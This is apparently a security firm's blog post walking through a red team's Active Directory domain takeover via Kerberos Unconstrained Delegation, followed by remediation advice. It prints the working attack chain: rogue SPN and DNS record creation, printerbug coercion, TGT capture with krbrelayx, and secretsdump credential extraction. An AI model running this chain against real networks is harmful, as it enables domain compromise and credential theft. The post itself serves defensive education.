Domain Takeover via Kerberos Unconstrained Delegation

This blog details how attackers exploit Unconstrained Delegation in Active Directory to achieve domain takeover. You'll see a step-by-step breakdown of capturing a Domain Controller's TGT, why it's critical, and, of course, learn actionable steps to prevent this threat.

Unconstrained delegation is a legacy Active Directory feature that allows specific systems or services to impersonate users across the domain, allowing easier authentication between services. However, when left enabled on a compromised machine or misconfigured, it provides attackers a straightforward path to complete domain compromise. By coercing a privileged system like the Domain Controller into authenticating against a compromised host, attackers can capture TGTs (Ticket Granting Tickets).

Capturing these TGTs enables attackers to impersonate any user or system in the domain, gaining unrestricted access to sensitive resources and allowing devastating attack techniques such as credential dumping, DCSync, and persistence through Golden Tickets. This blog provides a detailed, practical breakdown of attackers' exact methods to exploit this scenario. Additionally, it covers robust, actionable strategies to identify, mitigate, and prevent Unconstrained Delegation abuses within your Active Directory enterprises.

Lazy Summary

Let’s tackle the elephant one bite at a time, starting with a detailed breakdown of how this attack chain works:

In Active Directory environments, delegation allows services to act on behalf of users or computers to access other services. This is useful in certain legitimate scenarios where identity needs to be preserved across systems. For example, a centralized print server may need to fetch documents from a user’s network share to process print jobs. With Kerberos delegation, the print server can impersonate the user to access only the files they're authorized to use, ensuring secure access and accurate auditing. While delegation enables these seamless experiences, it becomes dangerous when misconfigured, potentially allowing attackers to impersonate privileged users and access sensitive resources.

There are three types of delegation that exist in Active Directory:

1. Resource-Based Constrained Delegation (RBCD)
2. Constrained Delegation
3. Unconstrained Delegation

Resource-Based Constrained Delegation (RBCD) 

Introduced with Windows Server 2012, RBCD is the most modern and flexible delegation model. Unlike earlier types where the source service defines delegation rights, RBCD lets the target service (e.g., a file server) specify which accounts can delegate to it. This change makes delegation easier to manage and reduces the need for domain-wide permissions.

However, RBCD is still susceptible to abuse. In most AD environments, any authenticated user can create up to 10 new machine accounts by default. An attacker can exploit this by creating a rogue computer object, granting RBCD rights to a target server, and then impersonating any user, including Domain Admins, to access that server. While more secure in principle, RBCD can still lead to privilege escalation if not carefully controlled.

Constrained Delegation

Constrained Delegation was introduced with Windows Server 2003 as a more secure alternative to Unconstrained Delegation. It allows a service to impersonate users only to explicitly defined services, reducing the risk of broad impersonation. This is configured in Active Directory using the msDS-AllowedToDelegateTo attribute.

Still, the model is not without risk. If an attacker compromises an account configured for constrained delegation, they can impersonate any user, even Domain Admins, to the listed services. For example, an attacker could impersonate a Domain Admin to access an SQL Server, extract credentials, or escalate privileges. So while constrained delegation limits the scope of abuse compared to its predecessor, it still enables significant lateral movement if misconfigured.

Unconstrained Delegation

Introduced in Windows 2000, it is the earliest and most dangerous form.
When enabled on a computer account, any user authenticating to that system via Kerberos will have their Ticket Granting Ticket (TGT) forwarded and stored in memory. This ticket allows full impersonation across the domain.

If an attacker gains access to a machine configured for Unconstrained Delegation, they can:

• Intercept and extract TGTs from memory
• Use those tickets to impersonate users, including Domain Admins
• Access services across the domain as those impersonated users

This type of delegation creates a high-value foothold for attackers. It is one of the most critical and commonly exploited misconfigurations in Active Directory environments. The next section will explore exactly how this attack chain works and why Unconstrained Delegation continues to be a significant threat in real-world networks.

This delegation configuration is enabled by setting a flag on the computer object called “Trust this computer for delegation to any service (Kerberos only).” When this is active, every Kerberos-authenticated connection to that computer causes the user’s TGT (Ticket Granting Ticket) to be forwarded and stored in memory on the target machine. On Windows systems, the ticket would be saved in the LSASS process (Local Security Authority Subsystem Service), which handles authentication material. However, in this scenario, the ticket was captured externally using a tool and saved directly to disk for reuse.

Suppose an attacker compromises a machine with Unconstrained Delegation, and a Domain Admin or a Domain Controller authenticates to that machine. In that case, the attacker can extract the TGT and impersonate that account elsewhere in the network. To understand the severity of this issue, the reader must first understand what a TGT is. In the Kerberos protocol, a user doesn't authenticate directly to every service. Instead, the user authenticates to the Key Distribution Center (KDC), typically the Domain Controller, and is issued a TGT. This TGT is encrypted using the Krbtgt account key, and it proves the user's identity to the KDC for future service requests.

So when a TGT is obtained from a privileged account (like Administrator, krbtgt, or a Domain Controller’s computer account such as DC01$), an attacker can present that TGT to the KDC and request any service ticket for any service, as that user or system. With the right ticket, this includes things like:

• Reading the NTDS.dit file (which stores all hashed passwords in the domain),
• Performing DCSync to extract password data via replication APIs,
• Accessing administrative shares (C$, ADMIN$),
• Remote Desktop access and winrm interactive session into critical servers,
• Enumerating sensitive AD objects through LDAP,
• Abusing trust relationships to pivot into other domains or forests.

What makes this worse for an affected organization is that once the ticket is stolen, it is valid until it expires, usually 10 hours by default. Even if the victim account changes its password, the attacker can still use the stolen ticket until it is invalidated or expires, allowing persistence without re-exploitation.

On Windows systems, Kerberos credential material like TGTs and service tickets is stored in the LSASS process memory. In this case, the ticket was captured using krbrelayx and saved as a file rather than being extracted from memory. This is a core part of how Windows handles authentication. The process runs with SYSTEM privileges and cannot be accessed by standard users. But if an attacker obtains SYSTEM-level access on a machine, such as through privilege escalation or lateral movement, they can dump the TGTs using tools like:

• Mimikatz (e.g., sekurlsa::tickets)
• rubeus.exe (dump command)
• krbrelayx in export mode

In this attack chain, krbrelayx is used for TGT capture mode. It acts as a fake service and stores incoming Kerberos authentication tickets directly in .ccache files, allowing repetitive reuse.

The target TGT, in this case, is issued to the machine account of the Domain Controller (e.g., DC03$@DOMAIN.COM) and encrypted using the KRBTGT key. This is entirely valid from the KDC's perspective. This means that the attacker can now act as the domain controller itself, which is one of the most privileged identities in the domain.

Capturing a Domain Controller's TGT isn't possible unless that DC authenticates to the compromised system. But DCs typically don't initiate outbound connections, right?

That's where authentication coercion comes in.

Attackers can use several tools to make a DC authenticate to a target of their choice, including:

Krbrelayx: Abuses the Print Spooler service to trigger SMB authentication.

• Pros: Easy to use and widely supported.
  ⤷️ Effective in environments where Print Spooler is still enabled (common on older systems).
• Cons: Print Spooler is often disabled or restricted on Domain Controllers in modern, hardened environments.
  ⤷️ Known technique, may be logged or detected by defensive tools.

PetitPotam: Leverages the EFSRPC protocol to initiate authentication from the Domain Controller.

• Pros: Very effective in NTLM relay attacks, especially against Active Directory Certificate Services (AD CS).
  ⤷️ Can be used without needing authentication to the DC.
• Cons: Patched in newer Windows versions (requires missing mitigations to work).
  ⤷️ May trigger security alerts due to noisy RPC activity.

DFSCoerce / ShadowCoerce: Exploit DFS and Shadow Copy services to coerce authentication.

• Pros: Bypass common mitigations that block PetitPotam or Krbrelayx.
  ⤷️ Useful in more secure environments where traditional vectors are patched.
• Cons: Require specific services (DFS or VSS) to be enabled and reachable.
  ⤷️ Less commonly found running in standard configurations.

These tools make an RPC call to the Domain Controller, forcing it to access a resource (like a UNC path) on a controlled machine. That SMB connection results in NTLM or Kerberos authentication, depending on the configuration. If Kerberos is used and the controlled machine is trusted for Unconstrained Delegation, the TGT is forwarded. On a Windows system, it would be stored in LSASS memory; however, in this attack, the TGT was captured and saved using krbrelayx on the attacker’s non-Windows host.

That's precisely what happens in this attack chain. The DC connects to the rogue machine, and because delegation is enabled, the DC's TGT is forwarded and stored on the attacker-controlled host. From there, it's extracted and reused.

Once the TGT is captured via krbrelayx, it’s saved in .ccache format and can be loaded in any compatible session using the KRB5CCNAME. This environment variable gives the attacker access to Kerberos-authenticated services without needing to re-authenticate or crack passwords in offline mode.

The following steps involve:

• Using the TGT to run secretsdump.py and pull administrator hashes from the DC,
• Performing DCSync to replicate credentials,
• Running evil-winrm or wmiexec as Domain Admin,
• Maintaining persistence via Golden Tickets or SIDHistory abuse.

This flow from identification to full domain compromise can be performed in less than an hour.

Several factors make Unconstrained Delegation a top-tier risk:

1. Passive until exploited: It doesn't generate logs or alerts unless you're explicitly looking for machines with this configuration.
2. Stealthy: No malware required. Built-in protocols and authentication behavior are used.
3. Works in most networks: Many older or hybrid AD environments still use Unconstrained Delegation for compatibility.
4. Abuses trust: This isn't about vulnerabilities. It's about how Windows expects these systems to work.

This misconfiguration becomes especially critical when the target is a Domain Controller, as the attacker can capture the TGT of the DC's machine account and use it to dump credentials, perform DCSync attacks, and more. Unless manually removed or hardened, this setting provides attackers a bridge from user compromise to domain compromise with minimal effort.

Disclaimer: The exploitation chain changes if the attack is carried out remotely from a Linux (or non-Windows) machine. Since the attack in this blog was performed in such a scenario, there was no LSASS process to store the TGT, as would occur on a Windows system. Instead, the ticket was captured using tools like krbrelayx, saved in .ccache format, and used by setting the KRB5CCNAME environment variable. This method allows the attacker to access Kerberos-authenticated services without needing to extract the TGT from LSASS, which would typically be the approach if the attack were performed from a Windows machine configured for Unconstrained Delegation.

The attack path exploited the following conditions:

• A computer account (COMPUTER) was found with Unconstrained Delegation enabled.
• That account had permission to register an additional SPN using addspn.py.
• A rogue A record was added using dnstool.py to redirect the DNS resolution of the fake SPN to the attacker's IP.
• Authentication from a Domain Controller was coerced using printerbug.py.
• The DC's machine account TGT was captured using krbrelayx.
• This TGT was used to impersonate the Domain Controller and extract credentials via secretsdump.

Each step relies on built-in behavior, not vulnerabilities in the tools themselves. The issue lies entirely in how Active Directory environments are configured and managed.

Exploitation Example

During a red team engagement, we came across a domain-joined computer that was configured with Unconstrained Delegation. This system stored the Kerberos TGTs of any user or computer account that authenticated to it, including Domain Controllers.

We gained control over the delegated machine, identified its permissions, and confirmed we could register additional SPNs and modify DNS entries. From there, we redirected Domain Controller authentication to our attacker-controlled system using forged DNS and SPN records. We then used printerbug.py to force the DC to authenticate and capture its machine account’s TGT with krbrelayx.

Once the TGT was exported and loaded into our environment, we used it with secretsdump to extract NTDS secrets from the DC. The attack concluded with a successful shell as Domain Admin using evil-winrm.

What follows is a breakdown of each step in the chain with supporting commands and outputs 👇

Figure 1 – Identifying Accounts with Unconstrained Delegation Using impacket-findDelegation

Finding machines with Unconstrained Delegation is critical because they store Kerberos tickets of authenticating users, providing attackers a prime opportunity to escalate privileges.

$ python3 addspn.py -u '[DOMAIN].com\COMPUTER$' -p '[HASH]:b17[HASH]' -s 'HOST/[FAKEDNS].[DOMAIN].com' 'DC03.[DOMAIN].com' --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

Figure 2 – Adding a Rogue SPN to the Compromised Machine Using addspn.py

With access to COMPUTER$ and its hash, we added a rogue Service Principal Name (SPN) pointing to our attacker-controlled hostname using addspn.py:

This step works by directly modifying the servicePrincipalName LDAP attribute of the AD object, associating our attacker-controlled hostname (fakedns.domain.com) with COMPUTER$. Consequently, Kerberos requests directed to this SPN will now target our controlled environment.

Next, we manipulated DNS records to redirect authentication requests for the newly created fake SPN (fakedns.domain.com) to our attacker-controlled IP (192.168.14.190) using dnstool.py:

$ python3 dnstool.py -u '[DOMAIN].com\COMPUTER$' -p '[HASH]:b17[HASH]' -r [FAKEDNS].[DOAMIN].com -d '192.168.14.190 - MY IP' --action add DC03.[DOMAIN].com --legacy
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Figure 3 – Poisoning DNS Records to Redirect Authentication via dnstool.py

To confirm the change was successful, the following dns request was made towards the SPN:

Figure 4 – Verifying DNS Redirection Using nslookup

The dnstool script modifies Active Directory-integrated DNS records by performing LDAP operations directly against the Domain Controller. In this step, it adds an "A record" for a fake hostname (fakedns.domain.com), redirecting requests to the attacker-controlled IP (192.168.14.190). This redirection is necessary to force Domain Controllers to authenticate to the attacker’s controlled host, capturing their Kerberos credentials. 

The --legacy flag ensures compatibility with older versions of Windows Server, which require special LDAP schemas for DNS records. Once added, the DNS record is stored within Active Directory's DNS database and replicated across domain controllers, immediately redirecting authentication traffic, as confirmed by the successful nslookup.

Next, before triggering authentication, we set up krbrelayx.py in export mode on our attacker machine to capture incoming Kerberos tickets:

$ sudo python3 krbrelayx.py  -hashes :b17[NT-HASH]
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in export mode (all tickets will be saved to disk).
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections

Figure 5 – Listening for capturing TGT with krbrelayx.py

With the listener ready, we coerced the Domain Controller (DC03) into authenticating to our fake SPN (fakedns.[DOMAIN].com) by abusing the Print Spooler protocol via printerbug.py. This forced Kerberos authentication from the DC to our attacker-controlled environment.

Figure 6 – Triggering Forced Authentication from Domain Controller Using printerbug

The DC authentication to our listener resulted in the successful capture of its Kerberos TGT:

Figure 7 – Capturing Domain Controller's Kerberos TGT with krbrelayx.py

Capturing this TGT is critical because it allows us to impersonate the Domain Controller itself. Next, we configured our environment variable to authenticate directly using the captured TGT file (.ccache):

Next, the KRB5CCNAME environment variable is set to the captured cache file so that every Kerberos-aware tool on our workstation automatically uses the Domain Controller’s TGT.

Figure 8 – Loading Captured TGT into Local Session and Validating with klist

A subsequent klist confirms a forwardable ticket for DC03$, by default valid for several hours and renewable until the next day. All Kerberos operations from this host now run with the full privileges of the Domain Controller’s computer account.

$ impacket-secretsdump -k -no-pass [DC].[DOMAIN].com -just-dc-user administrator 
Impacket v0.12.0 – Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
DOMAIN.com\Administrator:500:[LM-HASH]:[NT-HASH]:::
[*] Kerberos keys grabbed
[DOMAIN].com\Administrator:aes256-cts-hmac-sha1-96:[REDACTED]
[DOMAIN].com\Administrator:aes128-cts-hmac-sha1-96:[REDACTED]
[DOMAIN].com\Administrator:des-cbc-md5:[REDACTED]
[*] Cleaning up…

Figure 9 – Extracting Domain Administrator Credentials via impacket-secretsdump

secretsdump leverages the DRSUAPI replication interface to pull credential material directly from the DC. Because the request is authenticated with the DC’s own TGT, it is fully authorised and returns both NTLM and AES keys for the domain Administrator account.

Figure 10 – Establishing Interactive Domain Admin Shell via evil-winrm

With the Administrator hash obtained, using evil-winrm we initiated a pass-the-hash session to DC03. The whoami output verifies Domain-Admin privileges, giving the attacker complete, interactive control over the Domain Controller and, by extension, the entire Active Directory forest.

Remediation

Audit and Remove Unconstrained Delegation

• Identify accounts with TrustedForDelegation = True using:

Get-ADComputer -Filter 'TrustedForDelegation -eq $true' -Properties TrustedForDelegation.

• Migrate to Constrained Delegation (msDS-AllowedToDelegateTo) or Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity).
• Refactor or modernize legacy systems still requiring unconstrained delegation.

Prevent Domain Controllers from Authenticating to Non-DC Systems

• Apply GPO settings:
  • Deny access to this computer from the network → Domain Controllers
  • Deny log on through Remote Desktop Services → Domain Controllers
  • Deny log on locally → Domain Controllers
• Apply GPO to all non-DC OUs to prevent outbound authentication from DCs.

Harden Services that Enable Coerced Authentication

• Disable or restrict:
  • Print Spooler (spoolsv.exe) on DCs.
  • EFSRPC endpoint (used by PetitPotam).
  • DFS-R and Shadow Copy services.
• Use RPC filters or SChannel config to restrict remote access to these protocols.

Protect LSASS and Kerberos Ticket Storage

• Enable Credential Guard on Windows 10+ or Server 2016+.On older systems, enable LSASS protection with RunAsPPL:

And, the final conclusion is...

This real-life example proves how one host running with Unconstrained Delegation can escalate a routine foothold into total domain compromise in an hour's time, relying only on standard Windows functionality. By adding a rogue SPN, poisoning an A-record, coercing a Domain Controller to authenticate, and capturing the resulting ticket using krbrelayx (saved in .ccache format for direct reuse). We were able to impersonate the Domain Controller, perform a DCSync attack to replicate the NTDS database, and ultimately establish an interactive Domain Admin session on the Domain Controller.

The fix is clear and actionable: remove the Unconstrained Delegation flag wherever it exists if not needed, stop Domain Controllers from authenticating to non-DC machines, harden or disable the small set of services that enable forced authentication, tighten SPN and DNS write permissions, and continuously monitor Kerberos events that carry delegation information. Implementing these five measures closes one of the quickest and quietest routes to a full Active Directory takeover, turning a dangerous legacy setting into a non-issue.

Where to Go Next:

• Stay updated on security best practices by following the Sentry Blog for insights on application monitoring and security.
• Ready to boost application security?

Application Penetration Testing

With over 1,400 successful security assessments, our industry-recognized experts are at the forefront of application security. Our team is certified, extensively trained, and ready to help you achieve your security goals.

Book your free 30-Minute Consultation